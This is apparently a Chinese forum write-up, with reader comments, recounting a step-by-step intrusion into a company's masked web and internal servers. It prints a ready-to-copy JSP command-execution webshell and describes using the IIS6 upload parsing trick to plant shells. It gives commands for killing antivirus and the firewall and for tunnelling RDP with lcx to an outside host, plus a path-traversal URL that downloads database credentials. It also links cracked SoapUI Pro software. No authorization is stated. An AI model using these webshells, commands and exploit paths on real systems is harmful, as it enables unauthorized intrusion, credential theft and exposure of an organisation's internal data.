通过前台的检测，这几个域名都无法直接获取数据库信息，自然各种SQL注入都是无法爆出数据的，下面就开始检测后台了，在后台或许可以通过弱
口令登陆后台，如果挖出后台注入漏洞的话，那么还可以使用万能密码直接杀进后台。
通过暴力破解路径，发现的后台地址有
http://etc.xxx.cn/club/admin/login.asp，如图7所示。
http://movie.xxx.cn/login.asp，如图8所示。
http://etc.xxx.cn/local/thisismyad/login.asp，如图9所示。
http://pxhz.xxx.cn/admin/login.asp，如图10所示。
值得祝贺的是http://movie.xxx.cn/login.asp和http://etc.xxx.cn/club/admin/login.asp，已经被我猜测出了弱口令所以直接秒杀进了后台，于是我又多
了两条路可走。如图11，图12所示。
在两个后台里我分别找到了上传页面，在http://movie.xxx.cn的后台主页中的母版页上的添加，再在打开的“添加电影”页面中的“海报图片地址”这一栏会有“选择”，如图13所示。
点击“选择”按钮就会有一个图片选择页面，如图14所示。
接下来我们来看看http://etc.xxx.cn/club后台的上传页面，在后台首页的“风采投稿”——“添加文章”里面，打开“添加文章”即可，如图15所示。
在“添加文章”的页面里可以看到“图片”那一栏，也可以像上面一样通过点击“选择”打开图片选择页面，如图16，图17所示
这样可以发现两个域名的图片操作组件都是一模一样的，在两个域名的图片选择页面的右下角都有一个“上传”按钮，打开这个就显示出了我们一直在寻找的图片上传页面，如图18，图19所示
这就发现了两个上传页面分别为：
http://movie.xxx.cn/Picture/Frame.asp?FileName=UpFileForm.asp&Path=undefined
http://etc.xxx.cn/club/admin/Picture/Frame.asp?FileName=UpFileForm.asp&Path=undefined
接着我还发现了一个安全隐患就是访问这些图片上传页面是不需要后台登陆验证的，也就是说不会验证你的SESSION是否有管理员权限的SESSION也可以上传文件，并且前面的
http://etc.xxx.cn/club/admin/Picture/SelectPic.asp这个链接也是无需身份验证的，也就是说能爆出SelectPic.asp这个页面就能直接访问这个上传地址，如图20所示。
未验证即可访问URL连接，也就是说即使不登陆也能访问这个页面，再从这个页面里打开上传页面，当然要怎么找到这个页面就看大家的经验了（字典强大的一般都能爆出来）。
既然能上传图片了，那么我们就该想方设法的去上传我们的webshell，上传webshell前我们要明白这个上传页面的验证功能是否会将我们的webshell给重命名，如果要被重命名了，
能否截断来修改文件后缀，一般这种上传图片的地方都不会允许上传图片后缀以外的文件，如图21所示。
从图18,19中看到红色框内可以让管理员自定义图片配置，由于探测出WEB服务器是使用的IIS6.0，所以直接利用解析漏洞秒杀之，我用asp图片一句话木马，重命名为gou.asp;s.gif，
当IIS6.0解析的时候就会忽略掉后面的s.gif，而解析前面的gou.asp，也就达到了我们的目的，这里我选择了“不自动命名”，再将自己的asp图片一句话木马文件添加了进来，确定上传后显示
空白页面，也木有返回文件路径，去/Picture/目录、/club/Upfile目录下也没有找到我们上传的webshell，抓包截断分析也没有结果，这时我注意到了/Picture/SelectPic.asp后面的两个参数，
LimitUpFileFlag和CurrPath，如图22所示。
既然这两个参数是可以GET提交变量的，那么我们可以对其进行修改，CurrPath应该就代表当前目录，在/Picture/SelectPic.asp页面中右键查看源代码中看到了相关的js脚本：
<script language="JavaScript">
function ChangeFolder(FolderName)
{
frames["FolderList"].location='FolderImageList.asp?CurrPath='+FolderName;
}
function UpFile()
{
OpenWindow('Frame.asp?FileName=UpFileForm.asp&Path='+frames["FolderList"].CurrPath,350,150,window);
frames["FolderList"].location='FolderImageList.asp?CurrPath='+frames["FolderList"].CurrPath;
}
function SetUserUrl()
{
if (document.all.UserUrl.value=='') alert('请填写Url地址');
else
{
window.returnValue=document.all.UserUrl.value;
window.close();
}
}
window.onunload=CheckReturnValue;
function CheckReturnValue()
{
if (typeof(window.returnValue)!='string') window.returnValue='';
}
</script>第二个函数是UpFile()也就是我们重点关注的上传函数，通过点击SelectPic.asp页面中的“上传”，会通过OpenWindow（）跳转到同目录下的Frame.asp文件页面，并调用UpFileForm.asp来实现上传页面的框架布置，程序员将实现上传功能的函数与上传页面框架分成了两个文件来编写了，其中Frame.asp就是实现上传功能函数的文件，UpFileForm.asp就是用来布置上传页面，也就是我们所看到的上传页面内容，其中的Path变量就是UpFileForm.asp中定义的，并且后面还跟上了frames["FolderList"]的CurrPath变量，CurrPath在未赋值前默认的是/club/Upfile，Path变量的值在缺省的情况下就自行表示为undefined，因为这时局部变量CurrPath并未进行赋值。当用户在Frame.asp?FileName=UpFileForm.asp&Path=undefined中上传图片文件时，图片文件不会被保存在任何目录，因为Path变量并未被赋值，后面两个函数定义function SetUserUrl()和function CheckReturnValue()分别是URL图片处理函数和退出函数。
先不管这么多了，既然可以控制Path变量，而且又只需指定其相对网站路径，何不将上传目录切换到其他目录去试试，说干就干，我将Path后面的值改为/club/admin目录，也就是：Frame.asp?FileName=UpFileForm.asp&Path=/club/admin，再选择我们的gou.asp;s.gif图片木马文件，上传成功后，由于前面介绍的ChangeFolder(FolderName)函数的功能可以随意切换网站目录并列取当前目录文件，我们就直接刷新页面：
Picture/SelectPic.asp?LimitUpFileFlag=no&CurrPath=/club/admin/
这就会发现我们的gou.asp;s.gif已经乖乖躺在了那里，如图21所示。
菜刀直接连接http://etc.xxx.cn/club/admin/gou.asp;s.gif，解析成功，如图22所示。
随便翻看了一下目录，感觉权限还挺大的，很多目录都可以打开，最爽的是可以跨站目录访问，除了一两个网站目录无法访问外，其他目录均能访问，前面我们通过google搜索出了etc.xxx.cn的二级
目录网站，这里都可以完全访问，如图23所示。
不仅如此，在D:/website目录里还找到了222.xxx.231.252这个公网地址的所有域名的网站文件，也就是说前面theHarvester.py所探测到的222.xxx.231.252地址下的二级域名网站目录都在
这台服务器里面，有movie.xxx.cv、pub.xxx.cn、volunteer.xxx.cn等，如图24所示。
在该目录D:/website下还发现了oa办公系统网站目录，发现网站是asp格式的，在data目录里找到了data.mdb数据库，看来是Access的数据库，我想用户量应该不大，将它下载之，
在本地用Access打开，如图25所示。
发现果然OA办公系统里的注册员工数量不是很多，不过也有可能这些员工是各个部门的主管啥的，悲剧的是数据库里居然没有员工的电话和邮箱，那么我们就登陆进OA办公系统试试，字段名ygid=1
的就应该是OA系统管理员吧(最顶上那个)，账号bijie520，密码MD5加密目测是admin，所以登陆之，成功进入OA办公系统后台，如图26所示。
在OA系统里翻了许久也没有找到啥有用的信息，最主要的是连员工的信息都不全，如图27所示。
在右侧的“用户设置”选项里可以对企业里的人员进行管理，部门管理，甚至是单位管理，还可以对这些信息进行修改，在单位管理那还需要超级管理员的权限，如图28所示。
点击进入登陆超级管理员后就会让你输入超级管理员的密码，而且这个OA系统的数据库data.mdb里也没找到，结果才发现这个密码是以明文的形式放在了/inc/config.asp
这个配置文件里面了，如图29所示。
在OA后台闲逛了一翻基本上掌握了企业内部的部门职能与各个部门的管理人员还有他们的账户信息，在渗透测试过程中的每一步的信息收集都是很有用的，无论搜集到的信息
能否给我们带来好处，暂且先到这儿，再回到我们的提权中去。
现在就是除了222.xxx.231.237的gxgc.xxx.cn和主站其余的二级域名已经被我们全部拿下, gxgc.xxx.cn和主站很明显是通过另外两个公网地址映射出来的，在菜刀里面查看
了当前服务器的IP地址是处于内网的，至于当前权限就不用看了，IIS6.0的网站不会拿system权限给你搞的，由于C:\WINDOWS\system32\cmd.exe是拒绝访问的，所以就传了个
cmd.exe到C:\RECYCLER\下运行ipconfig之，如图30所示。
再看一下补丁的修补情况，如图31所示。
在系统信息中发现服务器型号是IBM 3850 M2 / x3950 M2，这台服务器不属于域中，还有就是安装了610个补丁程序，看样子本地溢出提权基本上无望了，接着来看看能不能通过服务
器第三方服务来提权，在cmd里输入netstat –an来查看当前服务器的开放端口，如图32所示。
在上面所开放的端口中，看到了有开放1433（MSSQL）、3306（MYSQL）端口，可能大家就想去寻找sa或root的数据库配置文件，我们看到了还开放了8080端口，也就是说这
台服务器上很可能还运行着其他网站，如果是PHP网站的话就可以找Mysql用户信息，如果是ASP.NET的话就读取web.config信息，如果是jsp的话就这接上传jsp shell从而来拿下服务器
通过netstat –ano命令显示的当前进程记录下8080端口对应的PID值为1468，再通过netstat /svc命令来查看对应的进程名称,如图33所示
这个HyServices.exe还是第一次见到，在网上也搜不到相关的资料，再利用net start命令查看开启的服务，对应的服务名为HyResource document services，如图34所示。
由于我们看到的是内网这台服务器里开放的8080端口，仅仅是对内网开放的，要对外访问，就要通过网关或防火墙映射到公网上去，所以必须摸清映射到的公网上的端口号，前面的
搜索结果告诉我们了公网IP为222.xxx.231.252,探测端口自然使用nmap类的扫描软件扫描之，得出了映射的端口号也同样为8080，如图35所示。
我直接访问http://etc.xxx.cn:8080，出现了一个登陆界面，但是没有显示出登陆页面的缺省页名称，右键查看源码里找到form表单里的action的指向页面，如图36所示。
看到action=”hyindex.jsp”于是确定是jsp类型的网站了，至于HyResource document services到底是啥东西，连主页都带有hy字符，这些都不去管了，jsp对应的web服务器在
windows里没被降权的话，通常是以system权限运行的，只要我们能成功上传jsp马，就能拿到system权限了。
在菜刀里面翻来翻去也没有找到jsp网站的根目录，只好上大马来搜了，探测出该服务器支持.net Framework 2.0.50727.3655，所以上asp.net大马，这里我上的是aspxspy，在
FileSearch里将“Search FileType”这一项改为jsp,“Path”这里就改为D:\，就是说搜索服务器内D:\下的所有jsp文件，如图37所示。
过几分钟就会看到搜索结果，发现了D:\某目录下的所有jsp文件，如图38所示。
大概浏览了一下，发现服务器里有这么几个目录里存在jsp文件：
D:\chaoxing\110124dservices\Dservices\
D:\chaoxing\hyservices02\HyServices
D:\chaoxing\Reservices\ReServices
D:\website\back\xxx\xxx\ \\xxx为马赛克
D:\website\LocalUser\yiyan\
下面就是寻找网站缺省页hyindex.jsp页面的所在目录，直接在当前页面搜索hyindex.jsp关键字即可，如图40所示。
记录下绝对路径后打开菜刀切换到这个路径下：D:\chaoxing\hyservices02\HyServices\webapps\ROOT\，直接上我的jsp大马，但是悲催的是一上传就被杀，为啥前面的aspxspy你不杀？
我随便在cmd里面输入tasklist查看系统正在使用的安全软件进程，如图41所示。
原来服务器的安全软件是360主防+麦咖啡企业版，麦咖啡的杀毒引擎确实很好，手里的jsp大马都被杀完了，这里简单的对上面标注的进程做个说明：
McAfee进程：
frameworkservice.exe：升级服务
Mcshield.exe：核心进程
naPrdMgr：它是与frameworkservice.exe关联在一起的进程，如果关闭了frameworkservice.exe 它也会消失.
shstat.exe: 系统栏内的软件图标,关闭了它系统也处于保护状态
Vstskmgr.exe:这个进程属于系统服务.对应名为 network Associates Task Manager
360进程：
ZhuDongFangYu.exe：360主动防御
其中有一个大马虽然是上传成功了，但是大部分代码已经被kill掉，杀了个半残，当然是访问不到的了，看一下剩下的没有被杀的代码发现定义cmd命令执行的函数还未被杀掉，如图42所示。
既然CMD函数部分未被杀，我立刻上传了cmd版的jsp webshell，成功上传，不知道的可以复制如下代码保存为*.jsp文件：
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("密码".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println("密码或参数错误.");}%>http://www.xxx.com/xiao.jsp?pwd=密码&cmd=CMD命令
我这里成功通过上传并完好，在浏览器里访问之，查看当前权限如图43所示。
这一步说明我们成功获取了系统的system权限，获取系统权限后的第一件事情结束掉系统里的防护软件与防火墙，前提要管理员不在线的前提下，不然很容易被发现，执行query+user命令查看
当前在线用户，如图44所示。
发现administrator是断开状态，这下可以结束进程了，先是停止系统防火墙服务：net+stop+sharedaccess，注意了这个马在执行命令时不认空格，最好能在中间加上+号，如图45所示。
接着就是结束360主防+麦咖啡的相关进程：
taskkill+/f+/t+/im+ZhuDongFangYu.exe
taskkill+/f+/t+/im+FrameworkService.exe
taskkill+/f+/t+/im+Mcshield.exe
taskkill+/f+/t+/im+vstskmgr.exe
taskkill+/f+/t+/shstat
然后就是传大马上getpass到C:\RECYCLER\下抓密码，这里还需要上传大马是因为我之前用的cmd版的jsp webshell一直无法正常运行getpass程序，这里我直接抓Administrator的明文
密码好了，如图46所示。
在测试ping通外网测试的时候发现居然ping不通外网，再这样下去我还以为是DMZ区服务器呢，结果发现服务器在连接外网的两台服务器的80端口，估计是防火墙的策略防止了入站请求，
并未封出站的其他请求，如图47所示。
这时大家都懂的，上传lcx到某台公网服务器上再在cmd下运行：
>lcx -listen 1991 7001
再直接上传lcx.exe到目标服务器的C:\RECYCLER\下后，在webshell的终端执行:
> lcx -slave 外网ip 1991 172.20.3.20 3389。
成功回显后在公网服务器上打开远程桌面连接127.0.0.1:7001，
登陆系统后，如图48所示。
在服务器中打开IIS6.0查看网站，发现了更多的二级域名网站，看来这服务器接管了企业里的80%的二级域名访问业务，如图49所示。
在管理员的桌面上发现Mysql的密码记事本，打开本服务器的Mysql终端登陆，发现Mysql里只是几个默认的数据库而已，打开服务器里的SQL SERVER 2000发现了服务器里的部门主要业
务数据，利用价值大大滴呀，如图50所示。
这些似乎对我们找主站服务器都没啥帮助，不过我在翻看IE浏览器里的历史记录信息时偶然发现了主站服务器的被访问记录（当前登陆的administrator用户），如图51所示。
也就是说管理员在本服务器上通过内网访问过主站，在172.20.3.12这个历史访问文件夹里还找到了主站服务器的另一个页面，如上图里面的“TRS WCM V6.0 首页”，
原来主站服务器80端口自然是IIS6.0下的WEB服务了，端口7001提供TRS WCM V6.0的WEB访问服务，也是一个jsp网站，知道这一点后，我在我的系统上打开主站www.xxx.cn:7001，
于是立即跳转到了TRS WCM V6.0的登陆界面，后来发现在未登录的情况下TRS WCM V6.0禁止访问根目录下的任何jsp文件，如图52所示。
据了解TRS WCM涵盖网站建立、内容服务、内容传递等内容价值链的各个方面，将结构化和非结构化信息提供给所有用户。
既然在外网能访问TRS WCM，那就方便许多了，由于是第一次遇到此系统，所以去wooyun上搜了一下相关漏洞利用方式，发现其实wooyun上公布的对这个系统的漏洞利用方式还是很多的，
都是些高危漏洞，其中有三个高危漏洞可以很好的利用一下，TRS WCM多为gov站点使用，不过这里遇到了就学习一下，相关连接如下：
（1）TRS WCM后台SQL注入一枚
http://www.wooyun.org/bugs/wooyun-2010-058052
（2）TRS的WCM6漏洞权限绕过以及绕过密码的登陆方式
http://www.wooyun.org/bugs/wooyun-2010-017198
（3）TRS WCM 6.X系统任意文件写入漏洞
http://www.wooyun.org/bugs/wooyun-2010-034315
（4）TRS内容管理平台用户注册逻辑漏洞
http://www.wooyun.org/bugs/wooyun-2012-08966
针对现在的环境（1）种情况是无法利用的，（1）要有管理员登陆权限，在登陆入口处http://www.xxx.cn:7001/wcm/WCMV6/login.jsp尝试了TRS默认密码、弱口令还有前面搜集到的
信息都登陆失败，这里可能会想到用（2）种方式来绕过密码的登陆方式，但是问题是网站里并没有wcm/infoview.do的映射，也就无法找到管理员的登陆信息，我想可能是版本不一样吧，即
使找到了也是MD5加密只取半截的情况。
接着我突然想到的一个思路是，我手上已经有内网里的主要业务服务器（172.20.3.20）了，不妨利用（4）种方式直接下载数据库配置文件来获取数据库的连接信息，说不定还可以将读取到
的密码运用到其他内网数据库服务器上，如果是sa用户那就这接拿下服务器了，这个思路的前提是在172.20.3.20服务器上可以连接主站172.20.3.12的MSSQL数据库，才可以直接拿下主站
服务器这里已经验证可以在当前拿下的内网机器里连接到172.20.3.12的1433端口，扫描过程就不细说了。
网址加上：wcm/console/auth/reg_newuser.jsp，也就是访问http://www.xxx.cn:7001/wcm/console/auth/reg_newuser.jsp
注册的时候，注意使用firebug修改“真实姓名”的表单，如图53所示。
直接将“name”元素由“TRUENAME”修改为“STATUS”，即将“真实姓名”表单改成 STATUS 值为 30，或增加STATUS字段表单，修改完后去提交才发现无法点击“确定”提交表单信息，“确定”按钮
不是灰色按钮，但是就是点击后无反应的情况，难不成“确定”按钮被disable了？既然这样还可以修改HTML为enable来恢复正常，可是HTML没有相关的代码，如图54所示。
在wooyun上也看到刺刺大牛遇到这种情况，他的情况也是Firefox访问wcm/console/auth/reg_newuser.jsp这个页面，点击不了提交的“确定”， 也有可能是有的WCM版本注册这里的程序被修
改过，提交会报500错误；也有可能是CNVD的验证测试不够深入，大牛还说可以直接这对wcm/console/auth/reg_newuser_dowith.jsp POST提交也是成功了的，这种方式当然是可以的了，
有兴趣的可以去试试。
测试了其他浏览器发现只有IE系列的浏览器是可以正常提交表单的，但是IE10及以上的版本提交会报脚本错误，这里不知道怎么回事，我用的是IE10.0的，不过在IE10以下的还是可以的，IE10.0提交
会报错，微软在IE6.0以上的版本都嵌入了开发者工具集（按F12弹出），功能类似于Firebug。
这里我还是使用IE10.0来提交，不过这里需要将开发者工具中的“浏览器模式”改为IE10以下的版本，我选择的是“IE7”模式，如图55所示。
与Firebug里面的操作一样，将“name”元素由“TRUENAME”修改为“STATUS”后点击“确定”，如图56所示。
“请等待开通！”，但实际上已经开通了，因为 STATUS 字段让我们改成正常了，直接登录如图57所示。
进入了后台并没啥操作权限，自然就无法利用TRS的后台SQL注入，在默认的相对路径的情况下可以直接访问wcm/file/read_file.jsp下载数据库配置文件config.xml，访问方式：
http://www.xxx.com:7001/wcm/file/read_file.jsp?FileName=U020120628383491551127/../../../../../Tomcat/webapps/wcm/WEB-INF/classes/trsconfig/domain/config.xml&sDownName=xx
如图58所示。
下载下来后打开代码如图59所示：
在代码中发现了sqlserver的连接信息：sqlserver://172.20.3.2:1433/TRSWCMV6
连接的账号与密码：
connectionUser="sa" connectionPassword="Encryptedd2NtQDIwMDg."
发现账号是sa用户，密码是经过变态加密的字符串，至于什么样的加密手上没有源码所以很难破解，既然破解不了数据库密码那么就想办法先拿下主站服务器然后开嗅探也行。
接着就尝试webservice来上传jsp拿shell，针对这种情况我还专门用了几天时间去恶补jsp web service以及SoapUI的用法，在wooyun里并没有详细说明其利用方法，对
TRS利用方法有疑问的朋友也可以看看我的思路。
首先打开http://www.xxx.cn:7001/wcm/services，web service信息如图60所示：
发现存在trs:templateservicefacade服务，这应该属于第三方插件吧，哈哈，trs:templateservicefacade服务的writeFile和writeSpecFile两个操作都可以向服务器写入文件，
这样我就直接进入trs:templateservicefacade后面的wsdl，打开了wsdl后就可以看到该服务的wsdl代码, 每个 Web Service服务都有一个描述文件（WSDL），它描述一个
Web Service 的如下方面：
（1）服务的端口（接收 SOAP 消息的端口）
（2）服务提供的操作
（3）操作的输入输出格式的定义（通过 XMLSchema 定义输入输出格式）
以上简单科普一下，毕竟我接触这东西不久，Web Service大牛就飘过吧，这里我们的目标很简单，就是要利用trs:templateservicefacade服务的文件上传操作，就要修改XML代码来
定义输入输出，我很快的将wsdl代码导出保存为trstemplateservicefacade.xml到本地，用到的工具是SoapUI Pro 4.6.4，这个工具就是调用、修改XML、实现Web Service的
功能/负载/符合性测试，WEB性能测试的利器呀，在官网上普通版的是开源的，专业版的是收费的，不过5.0.0以下的专业版都已经被成功破解了，想要的可以PM我。
打开软件后，创建新SOAP项目，在“Project Name”里填写项目名称，这里我随便写个，然后在“Initial WSDL”里加载我刚才在浏览器里导出的trstemplateservicefacade.xml，
点击“OK”提交，如图61，图62所示。
提交后会看到SoapUI自动读取WSDL文件并列出了相关服务功能，如图63所示。
writeFile：提交上传文件请求需要相对路径
writeSpecFile：提交上传文件请求需要绝对路径
这里我还不清楚绝对路径，就只好用writeFile了，展开writeFile进入Request1，如图64所示。
在“_pFileContent”与“_sFilePath”里的 带*号的选项是必填的，也就是说至少必须指定文件内容和文件上传路径，这里注意的是上传的文件内容就是经过base64加密后的内容，
上传路径指定其服务器相对路径。
这里我直接对XML代码进行编辑指定文件内容和路径，内容随便先提交几个字符上去，路径为默认，如图65所示。
编辑完后点击界面上的绿色箭头提交上去，会在右侧返回服务器里上传文件的绝对路径信息，如图66，图67所示。
在后来的传jsp马的过程中还遇到了不少的挫折，传上去马访问后都报500错误，不知道服务器上Tomcat的配置哪里有问题啥的，如图68所示：
马访问到了都不能正常解析，最后用到了kail linux里的Metasploit JSP Shell，直接利用java/jsp_shell_reverse_tcp模块生产jsp shell，再在MSF中调用exploit/multi/handler
来监听本地某端口，上传生成的jsp shell，再访问，就反弹到一个公网地址上（Kail linux连上公网IP的VPN），具体的就不说了，网上一大堆，反弹成功后如图69所示。
权限是administrator，已经可以直接抓Hash了，发现了Symantec+360主防，最后附上相关截图：
好吧，渗透就到这里吧，由于各种原因没有再进行深入的内网渗透，过程说得比较细，所以还是花了不少时间，亮点不多，用到的技术不是很复杂，主要是过程的分析，最后对SoapUI操作webservice上传插件做了简单的操作分析，wooyun上鶆鶈大牛公布此漏洞时并未说明其利用方法，小菜不才，大牛们就当是篇科普文吧。
-----------------------------思路说明-----------------------------
（1）可能会有小伙伴问为什么不直接使用第（3）种方式来写入jsp shell拿下主站服务器？原因是当时是第一次遇到搞webservice，一直在研究SoapUI调试XML，所以没有去急着尝试，而我想到如果能直接拿下sa账号，不仅能拿下主站服务器，其他数据库服务器也许就能不攻而破了（没想到config.xml的sa密码经过TRS的特殊处理），毕竟多使用一种方法就多条思路撒。
（2）关于SoapUI通过writeFile写入文件到目录中返回的绝对路径格式为：
D:\TRS\TRSWCMV6\WCMData\systemp\ST201407\ST20140730\ST20140730516126408684./../../../../../Tomcat/webapps/wcm/WCMV6/demo/x.jsp
服务器中实际绝对路径：
D:\TRS\TRSWCMV6\Tomcat\webapps\wcm\WCMV6\demo\x.jsp
如图所示：
此文图多难免漏点，发现漏点处PM一下我。
---------------------------------------------------------附件下载---------------------------------------------------------
SoapUI-Pro-x32-4.6.4 链接：http://pan.baidu.com/s/1kTwrMzt 密码：qnai
SoapUI-Pro 4.6.4破解 链接：http://pan.baidu.com/s/11ZLzo 密码：ss2a
End
----------------------------------参考-----------------------------------------------------------------------
http://www.wooyun.org/bugs/wooyun-2010-058052
http://www.wooyun.org/bugs/wooyun-2010-017198
http://www.wooyun.org/bugs/wooyun-2010-034315
http://www.wooyun.org/bugs/wooyun-2012-08966
关于作者
评论85次
现在这种实战环境不多了啊，动不动就上云
一看第一个报错页面就是2003xi统的
来考古学xi了
感觉回到了很多年前 信息量有点多 每一块都细看了
感谢师傅分享，思路太细了，学xi到了
收集工具貌似很不错的样子
学xi了 好久没见这么详细的渗透文章了 耐心和细心是关键啊
都已经system了，那个mof是为了提权？还是？
我猜测jsp是system权限，既然获取不了网站的路径，那就mof提权。 也没成功，不介意的话，PM个QQ交流下
都已经system了，那个mof是为了提权？还是？
@0xTback 我也碰到这么一个站，那个相对路径../../tomcat， 楼主是怎么推出来的呢？
我已经写得很清楚了，不必多问，SoapUI直接获得。
这里我直接对XML代码进行编辑指定文件内容和路径，内容随便先提交几个字符上去，路径为默认，你可能是对提交参数之前的相对路径/../../../../../Tomcat/webapps/wcm/WCMV6/demo/x.jsp有疑问，这个路径为WCMV6安装后的默认路径（前面有路径的跳转），WCMV6下有木有webpic我不记得了，就是不晓得当马传到webpic下后会不会进行登录验证，或者根本没传进去，但是我觉得WEB应用都应该在webapps/wcm/WCMV6/下，比如这里就是webapps/wcm/WCMV6/demo/下，可以不用验证登录即可访问到木马。
好。知道了，所以就是根据这个默认的安装路径自己去试，对吧？ 还有个思路，一般jsp是system权限，可以试试mof，但是不知道为啥失败了...
@0xTback 我也碰到这么一个站，那个相对路径../../tomcat， 楼主是怎么推出来的呢？
我已经写得很清楚了，不必多问，SoapUI直接获得。
xml模式下，/../../../../../tomcat/webapp 这个相对路径不会自动生成吧。你文章里也没讲怎么知道这个相对路径啊。 我看得蛮仔细了啊。 我这个站我爆出了绝对路径h:\trs\WCMData，一般WCMData下会有个webpic吧，验证了下, 目标站确实也有webpic这个路径， 但是h:\trs\WCMData\webpic\xx.jsp 还是没传到位， ，求指导。
这里我直接对XML代码进行编辑指定文件内容和路径，内容随便先提交几个字符上去，路径为默认，你可能是对提交参数之前的相对路径/../../../../../Tomcat/webapps/wcm/WCMV6/demo/x.jsp有疑问，这个路径为WCMV6安装后的默认路径（前面有路径的跳转），WCMV6下有木有webpic我不记得了，就是不晓得当马传到webpic下后会不会进行登录验证，或者根本没传进去，但是我觉得WEB应用都应该在webapps/wcm/WCMV6/下，比如这里就是webapps/wcm/WCMV6/demo/下，可以不用验证登录即可访问到木马。
@0xTback 我也碰到这么一个站，那个相对路径../../tomcat， 楼主是怎么推出来的呢？
我已经写得很清楚了，不必多问，SoapUI直接获得。
xml模式下，/../../../../../tomcat/webapp 这个相对路径不会自动生成吧。你文章里也没讲怎么知道这个相对路径啊。 我看得蛮仔细了啊。 我这个站我爆出了绝对路径h:\trs\WCMData，一般WCMData下会有个webpic吧，验证了下, 目标站确实也有webpic这个路径， 但是h:\trs\WCMData\webpic\xx.jsp 还是没传到位， ，求指导。
@0xTback 我也碰到这么一个站，那个相对路径../../tomcat， 楼主是怎么推出来的呢？
我已经写得很清楚了，不必多问，SoapUI直接获得。
@0xTback 我也碰到这么一个站，那个相对路径../../tomcat， 楼主是怎么推出来的呢？
先顶一个再看文章
好文章 很久没看到这么详细的渗透文章了
楼主写的很详细，还是很受用的
nice job！ cqlXX
大牛，求不黑，行么
nice job！ cqlXX
点漏了不少，灰常详细啊，不过可惜的是，后续的全网拓扑、渗透没有实施，比较可惜
有时间再搞，这个。。。。看来以后要请专业打码的了。